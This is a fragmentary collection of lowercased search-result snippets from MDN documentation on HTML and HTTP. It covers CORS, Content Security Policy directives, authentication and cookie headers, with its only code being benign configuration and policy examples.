...t all existing browsers today will use full standards mode for this doctype, even the dated internet explorer 6. there are no valid reasons to use a more complicated doctype. if you do use another doctype, you may risk choosing one which triggers almost standards mode or quirks mode. make sure you put the doctype right at the beginning of your html document. anything before the doctype, like a co
mment or an xml declaration will trigger quirks mode in internet explorer 9 and older. in html5, the only purpose of the doctype is to activate full standards mode. older versions of the html standard gave additional meaning to the doctype, but no browser has ever used the doctype for anything other than switching between quirks mode and standards mode. see also a detailed description of when diff...
HTML reference - HTML: Hypertext Markup Language
cluding global attributes that apply to all elements. html element reference this page lists all the html elements, which are created using tags. html attribute reference elements in html have attributes; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want. global attributes global attributes are attributes co
mmon to all html elements; they can be used on all elements, though they may have no effect on some elements. link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element. content categories every html element is a member of one or more content categories — these categories group elements t...
...ml elements; they can be used on all elements, though they may have no effect on some elements. link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element. content categories every html element is a member of one or more content categories — these categories group elements that share co
mmon characteristics. date and time formats used in html certain html elements allow you to specify dates and/or times as the value or as the value of an attribute. these include the date and time variations of the <input> element as well as the <ins> and <del> elements. ...
HTML: Hypertext Markup Language
res how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. ...
...ong with more complex features such as implementing captions and su
mmaries. html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you started with creating the client-side/front-end parts of forms. use html to solve co
mmon problems provides links to sections of content explaining how to use html to solve very co
mmon problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. advanced topics cors enabled image the crossorigin attribute, in combination with an appropriate cors header, allows images defined by the <img> element to be loaded...
HTTP authentication - HTTP
ntication method that should be used to gain access to a resource. they must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. the syntax for these headers is the following: www-authenticate: <type> realm=<realm> proxy-authenticate: <type> realm=<realm> here, <type> is the authentication scheme ("basic" is the most co
mmon scheme and introduced below). the realm is used to describe the protected area or to indicate the scope of protection. this could be a message like "access to the staging site" or similar, so that the user knows to which space they are trying to get access to. authorization and proxy-authorization headers the authorization and proxy-authorization request headers contain the credentials to aut...
... the credentials, which can be encoded or encrypted depending on which authentication scheme is used. authorization: <type> <credentials> proxy-authorization: <type> <credentials> authentication schemes the general http authentication framework is used by several authentication schemes. schemes can differ in security strength and in their availability in client or server software. the most co
mmon authentication scheme is the "basic" authentication scheme, which is introduced in more detail below. iana maintains a list of authentication schemes, but there are other schemes offered by host services, such as amazon aws. co
mmon authentication schemes include: basic see rfc 7617, base64-encoded credentials. more information below. bearer see rfc 6750, bearer tokens to access oauth 2.0-...
Identifying resources on the Web - HTTP
t http for identifying resources. the identity and the location of resources on the web are mostly given by a single url (uniform resource locator, a kind of uri). there are sometimes reasons identity and location are not given by the same uri: http uses a specific http header, alt-svc when the resource requested wants the client to access it at another location. urls and urns urls the most co
mmon form of uri is the uniform resource locator (url), which is known as the web address. https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=url any of those urls can be typed into your browser's address bar to tell it to load the associated page (resource). a url is composed of different parts, some mandatory and others are optional. a...
...ource identifiers (uris) scheme or protocol http:// is the protocol. it indicates which protocol the browser must use. usually it is the http protocol or its secured version, https. the web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. ...
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
ss-control-allow-origin header. this error can also occur if the response includes more than one access-control-allow-origin header. if the service your code is accessing using a cors request is under your control, make sure that it's configured to include your origin in its access-control-allow-origin header, and that only one such header is included in responses. the header itself accepts a co
mma-delineated list of origins, so adding a new origin is not difficult. for example, in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section). the configuration is typically found in a .conf file (httpd.conf and apache.conf are co
mmon names for these), or in an .htaccess file. header set access-co...
...n is not difficult. for example, in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section). ...
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
der to indicate that some headers are being set dynamically depending on the origin. the exact directive for setting headers depends on your web server. ...
...aders depends on your web server. in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section). ...
Content Security Policy (CSP) - HTTP
ning, as well as blocking the use of eval(). a policy needs to include a default-src or style-src directive to restrict inline styles from being applied from a <style> element or a style attribute. there are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers. examples: co
mmon use cases this section provides examples of some co
mmon security policy scenarios. example 1 a web site administrator wants all content to come from the site's own origin (this excludes subdomains.) content-security-policy: default-src 'self' example 2 a web site administrator wants to allow content from a trusted domain and all its subdomains (it doesn't have to be the same domain that t...
... ...
Accept-Encoding - HTTP
ession algorithm, the client is able to understand. using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header. even if both the client and the server supports the same compression algorithms, the server may choose not to compress the body of a response, if the identity value is also acceptable. ...
... as long as the identity value, meaning no encoding, is not explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never send back a 406 not acceptable error. ...
Access-Control-Allow-Headers - HTTP
his header is required if the request has an access-control-request-headers header. header type response header forbidden header name no syntax access-control-allow-headers: <header-name>[, <header-name>]* access-control-allow-headers: * directives <header-name> the name of a supported request header. the header may list any number of headers, separated by co
mmas. * (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information). in requests with credentials, it is treated as the literal header name "*" without special semantics. note that the authorization header can't be wildcarded and always needs to be listed explicitly. examples a custom header...
... living standard initial definition. ...
Access-Control-Allow-Methods - HTTP
the access-control-allow-methods response header specifies the method or methods allowed when accessing the resource in response to a preflight request. header type response header forbidden header name no syntax access-control-allow-methods: <method>, <method>, ... access-control-allow-methods: * directives <method> co
mma-delimited list of the allowed http request methods. * (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information). in requests with credentials, it is treated as the literal method name "*" without special semantics. examples access-control-allow-methods: post, get, options access-control-allow-methods: * specifications ...
... living standard initial definition ...
Access-Control-Expose-Headers - HTTP
reated as the literal header name "*" without special semantics. note that the authorization header can't be wildcarded and always needs to be listed explicitly. ...
...
mma: access-control-expose-headers: content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization specifications specification status co
mment fetchthe definition of 'access-control-expose-headers' in that specification. living standard ...
Content-Encoding - HTTP
the content-encoding entity header is used to compress the media-type. when present, its value indicates which encodings were applied to the entity-body. it lets the client know how to decode in order to obtain the media-type referenced by the content-type header. the reco
mmendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed. sometimes, using additional compression doesn't reduce payload size and can even make the payload longer. header type entity header forbidden header name no syntax content-encoding: gzip content-encoding: compress content-encoding: deflate content-encoding: identity content-encoding: br // multiple, in the order in which they were ap...
...ng: gzip content-encoding: compress content-encoding: deflate content-encoding: identity content-encoding: br // multiple, in the order in which they were applied content-encoding: gzip, identity content-encoding: deflate, gzip directives gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc. this is the original format of the unix gzip program. the http/1.1 standard also reco
mmends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes. compress a format using the lempel-ziv-welch (lzw) algorithm. the value name was taken from the unix compress program, which implemented this algorithm. like the compress program, which has disappeared from most unix distributions, this content-encoding is not used by many brow...
Content-Language - HTTP
ntity header forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can only be 0-9, a-z, a-z, space or *,-.;=. syntax content-language: de-de content-language: en-us content-language: de-de, en-ca directives language-tag multiple language tags are separated by co
mma. each language tag is a sequence of one or more case-insensitive subtags, each separated by a hyphen character ("-", %x2d). in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), which is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of en...
...guage tag is a sequence of one or more case-insensitive subtags, each separated by a hyphen character ("-", %x2d). in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), which is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as co
mmunicated in canada). note: language tags are formaly defined in rfc 5646, which rely on the iso 639 standard (quite often the iso 639-1 code list) for language codes to be used. examples indicating the language a document is written in the global lang attribute is used on html elements to indicate the language of an entire html document or parts of it. <html lang="de"> do not use this met...
CSP: base-uri - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...h its href set to https://example.com will result in a csp violation. <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it violates the following content security policy // directive: "base-uri 'self'" specifications specification status co
mment content security policy level 3the definition of 'base-uri' in that specification. working draft no changes. content security policy level 2the definition of 'base-uri' in that specification. reco
mmendation initial definition. ...
CSP: block-all-mixed-content - HTTP
...
...y" content="block-all-mixed-content"> to disallow http assets on a more granular level, you can also set individual directives to https:. for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status co
mment mixed contentthe definition of 'block-all-mixed-content' in that specification. candidate reco
mmendation initial definition. ...
CSP: child-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...he case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status co
mment content security policy level 3the definition of 'child-src' in that specification. working draft no changes. content security policy level 2the definition of 'child-src' in that specification. reco
mmendation initial definition. ...
CSP: font-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... for external scripts. examples violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status co
mment content security policy level 3the definition of 'font-src' in that specification. working draft no changes. content security policy level 2the definition of 'font-src' in that specification. reco
mmendation initial definition. ...
CSP: frame-ancestors - HTTP
access store.example.com using https:. if no url scheme is specified for a host-source and the iframe is loaded from an https url, the url for the page loading the iframe must also be https, per the w3c spec on matching source expressions. <scheme-source> a scheme such as http: or https:. the colon is required and scheme should not be quoted. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...ilesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'none' refers to the empty set; that is, no urls match. the single quotes are required. examples content-security-policy: frame-ancestors 'none'; content-security-policy: frame-ancestors 'self' https://www.example.org; specifications specification status co
mment content security policy level 3the definition of 'frame-ancestors' in that specification. working draft no changes. content security policy level 2the definition of 'frame-ancestors' in that specification. reco
mmendation initial definition. ...
CSP: frame-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...ript for an example. in csp 2.0 this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status co
mment content security policy level 3the definition of 'frame-src' in that specification. working draft undeprecates frame-src. content security policy level 2the definition of 'frame-src' in that specification. reco
mmendation deprecates frame-src. ...
CSP: img-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...rc for an example. 'report-sample' requires a sample of the violating code to be included in the violation report. examples violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status co
mment content security policy level 3the definition of 'img-src' in that specification. working draft no changes. content security policy level 2the definition of 'img-src' in that specification. reco
mmendation initial definition. ...
CSP: manifest-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...ample. in csp 2.0 this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: manifest-src https://example.com/ the following <link> is blocked and won't load: <link rel="manifest" href="https://not-example.com/manifest"> specifications specification status co
mment content security policy level 3the definition of 'manifest-src' in that specification. working draft initial definition. ...
CSP: navigate-to - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...<form> element with an action set to inline javascript will result in a csp violation. <meta http-equiv="content-security-policy" content="navigate-to 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> specifications specification status co
mment content security policy level 3the definition of 'navigate-to' in that specification. working draft initial definition. ...
CSP: plugin-types - HTTP
...
...ust specify application/x-java-applet: content-security-policy: plugin-types application/x-java-applet specifications specification status co
mment content security policy level 3the definition of 'plugin-types' in that specification. working draft no changes. content security policy level 2the definition of 'plugin-types' in that specification. reco
mmendation initial definition. ...
CSP: prefetch-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... working draft initial definition. ...
CSP: script-src-attr - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...ignored. see script-src for an example. 'report-sample' requires a sample of the violating code to be included in the violation report. examples fallback to script-src if script-src-attr is absent, user agent falls back to the script-src directive, and if that is absent as well, to default-src. todo: add comprehensive examples. specifications specification status co
mment content security policy level 3the definition of 'script-src-attr' in that specification. working draft initial definition. ...
CSP: script-src-elem - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...ignored. see script-src for an example. 'report-sample' requires a sample of the violating code to be included in the violation report. examples fallback to script-src if script-src-elem is absent, user agent falls back to the script-src directive, and if that is absent as well, to default-src. todo: add comprehensive examples. specifications specification status co
mment content security policy level 3the definition of 'script-src-elem' in that specification. working draft initial definition. ...
CSP: style-src-attr - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...pace matter, including leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. 'report-sample' requires a sample of the violating code to be included in the violation report. examples todo: add examples specifications specification status co
mment content security policy level 3the definition of 'style-src-attr' in that specification. working draft initial definition. ...
CSP: style-src-elem - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...pace matter, including leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. 'report-sample' requires a sample of the violating code to be included in the violation report. examples todo: add examples specifications specification status co
mment content security policy level 3the definition of 'style-src-elem' in that specification. working draft initial definition. ...
CSP: style-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...style expressions the 'unsafe-eval' source expression controls several style methods that create style declarations from strings. if 'unsafe-eval' isn't specified with the style-src directive, the following methods are blocked and won't have any effect: cssstylesheet.insertrule() cssgroupingrule.insertrule() cssstyledeclaration.csstext specifications specification status co
mment content security policy level 3the definition of 'style-src' in that specification. working draft no changes. content security policy level 2the definition of 'style-src' in that specification. reco
mmendation initial definition. ...
CSP: worker-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... working draft initial definition. ...
Feature-Policy: accelerometer - HTTP
). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. ...
...oss-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: battery - HTTP
). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. ...
...ts in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Feature-Policy: encrypted-media - HTTP
mes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. ...
...cuments in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the allow list is 'self'. ...
Link - HTTP
closed between < and >. parameters the link header contains parameters, which are separated with ; and are equivalent to attributes of the <link> element. ...
...between < and >: link: <https://example.com>; rel="preconnect" link: https://bad.example; rel="preconnect" specifying multiple links you can specify multiple links separated by co
mmas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status co
mments rfc 8288, section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field ietf rfc initial definition ...
SameSite cookies - HTTP
ird party websites. none cookies will be sent in all contexts, i.e sending cross-origin is allowed. none used to be the default value, but recent browser versions made lax the default value to have reasonably robust defense against some classes of cross-site request forgery (csrf) attacks. none requires the secure attribute in latest browser versions. see below for more information. fixing co
mmon warnings samesite=none requires secure the following warning might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected. cookie “mycookie” rejected because it has the “samesite=none” attribute but is missing the “secure” attribute. the warning appears because any cookie that requests samesite=none but is not marked sec...
...samesite” policy set to “lax” because it is missing a “samesite” attribute, and “samesite=lax” is the default value for this attribute. the warning appears because the samesite policy for a cookie has not specified explicitly: set-cookie: flavor=choco while you could rely on modern browsers to apply samesite=lax automatically, you should rather specify it explicitly to clearly co
mmunicate your intent which samesite policy applies to your cookie. this will also improve the experience across browsers as not all of them default to lax yet. set-cookie: flavor=choco; samesite=lax example: rewriteengine on rewritebase "/" rewritecond "%{http_host}" "^example\.org$" [nc] rewriterule "^(.*)" "https://www.example.org/index.html" [r=301,l,qsa] rewriterule "^(.*)...
Set-Cookie - HTTP
ue> a cookie begins with a name-value pair: a <cookie-name> can be any us-ascii characters, except control characters, spaces, or tabs. it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ? = { }. a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, co
mma, semicolon, and backslash. encoding: many implementations perform url encoding on cookie values, however it is not required per the rfc specification. it does help satisfying the requirements about which characters are allowed for <cookie-value> though. __secure- prefix: cookies names starting with __secure- (dash is part of the prefix) must be set with the secure flag from a secure page (http...
...tore feature that will save all tabs and restore them next time the browser is used. session cookies will also be restored, as if the browser was never closed. when an expires date is set, the deadline is relative to the client the cookie is being set on, not the server. max-age=<number> optional number of seconds until the cookie expires. a zero or negative number will expire the cookie i
mmediately. if both expires and max-age are set, max-age has precedence. domain=<domain-value> optional host to which the cookie will be sent. if omitted, defaults to the host of the current document url, not including subdomains. contrary to earlier specifications, leading dots in domain names (.example.com) are ignored. multiple host/domain values are not allowed, but if a domain is spec...
Tk - HTTP
header type response header forbidden header name no syntax tk: ! (under construction) tk: ? (dynamic) tk: g (gateway or multiple parties) tk: n (not tracking) tk: t (tracking) tk: c (tracking with consent) tk: p (potential consent) tk: d (disregarding dnt) tk: u (updated) directives ! under construction. the origin server is currently testing its co
mmunication of tracking status. ? dynamic. the origin server needs more information to determine tracking status. g gateway or multiple parties. the server is acting as a gateway to an exchange involving multiple parties. n not tracking. t tracking. c tracking with consent. the origin server believes it has received prior consent for tracking this user, user agent, or device. p potential...
...ing dnt. the origin server is unable or unwilling to respect a tracking preference received from the requesting user agent. u updated. the request resulted in a potential change to the tracking status applicable to this user, user agent, or device. examples a tk header for a resource that claims not to be tracking would look like: tk: n specifications specification status co
mment tracking preference expression (dnt)the definition of 'tk header field' in that specification. obsolete initial definition. ...
Transfer-Encoding - HTTP
nse to a head request that has no body, it indicates the value that would have applied to the corresponding get message. header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a co
mma transfer-encoding: gzip, chunked directives chunked data is sent in a series of chunks. the content-length header is omitted in this case and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format, followed by '\r\n' and then the chunk itself, followed by another '\r\n'. the terminating chunk is a regular chunk, with the exception that its lengt...
...ons, this content-encoding is used by almost no browsers today, partly because of a patent issue (which expired in 2003). deflate using the zlib structure (defined in rfc 1950), with the deflate compression algorithm (defined in rfc 1951). gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc. this is originally the format of the unix gzip program. the http/1.1 standard also reco
mmends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes. identity indicates the identity function (i.e. no compression, nor modification). this token, except if explicitly specified, is always deemed acceptable. examples chunked encoding chunked encoding is useful when larger amounts of data are sent to the client and the total s...
HTTP headers - HTTP
ch prevents the use of misissued certificates for that site from going unnoticed. when a site enables the expect-ct header, they are requesting that chrome check that any certificate for that site appears in public ct logs. feature-policy provides a mechanism to allow and deny the use of browser features in its own frame, and in iframes that it embeds. strict-transport-security (hsts) force co
mmunication using https instead of http. upgrade-insecure-requests sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests directive. x-content-type-options disables mime sniffing and forces browser to use the type given in content-type. x-download-options the x-download-opt...
...e user agent should wait before making a follow-up request. signature the signature header field conveys a list of signatures for an exchange, each one accompanied by information about how to determine the authority of and refresh that signature. signed-headers the signed-headers header field identifies an ordered list of response header fields to include in a signature. server-timing co
mmunicates one or more metrics and descriptions for the given request-response cycle. service-worker-allowed used to remove the path restriction by including this header in the response of the service worker script. sourcemap links generated code to a source map. upgrade the relevant rfc document for the upgrade header field is rfc 7230, section 6.7. the standard establishes rules for upgradin...
Link prefetching FAQ - HTTP
ost? yes. there is no same-origin restriction for link prefetching. limiting prefetching to only urls from the the same server would not offer any increased browser security. do prefetched requests contain a referer: header? yes, prefetched requests include a http referer: header indicating the document from which the prefetching hint was extracted. this may impact referrer tracking that is co
mmonly used on many sites. for this reason, link prefetching may not be appropriate for all content. however, it is possible to instruct mozilla to validate a prefetched document when the user follows a href to the prefetched document by specifying the cache-control: must-revalidate http response header. this header enables caching, but requires an if-modified-since or if-none-match validation reque...
...following implications already mentioned above, prefetching will generally cause the cookies of the prefetched site to be accessed. (for example, if you google amazon, the google results page will prefetch www.amazon.com, causing amazon cookies to be sent back and forth. you can block 3rd party cookies in firefox, see disabling third party cookies.) what about...? if you have any questions or co
mments about link prefetching, please feel free to send them my way :-) see also... prefetching hints original document information author(s): darin fisher (darin at meer dot net) last updated date: updated: march 3, 2003 ...
HTTP Messages - HTTP
(creating or modifying a resource, or generating a temporary document to send back). the request target, usually a url, or the absolute path of the protocol, port, and domain are usually characterized by the request context. the format of this request target varies between different http methods. it can be an absolute path, ultimately followed by a '?' and query string. this is the most co
mmon form, known as the origin form, and is used with get, post, head, and options methods. post / http/1.1 get /background.png http/1.0 head /test.html?query=alibaba http/1.1 options /anypage.html http/1.0 a complete url, known as the absolute form, is mostly used with get when connected to a proxy. get http://developer.mozilla.org/docs/web/http/messages http/1.1 the autho...
...tent-length. multiple-resource bodies, consisting of a multipart body, each containing a different bit of information. this is typically associated with html forms. http responses status line the start line of an http response, called the status line, contains the following information: the protocol version, usually http/1.1. a status code, indicating success or failure of the request. co
mmon status codes are 200, 404, or 302 a status text. a brief, purely informational, textual description of the status code to help a human understand the http message. a typical status line looks like: http/1.1 404 not found. headers http headers for responses follow the same structure as any other header: a case-insensitive string followed by a colon (':') and a value whose structure depends ...
OPTIONS - HTTP
the http options method requests permitted co
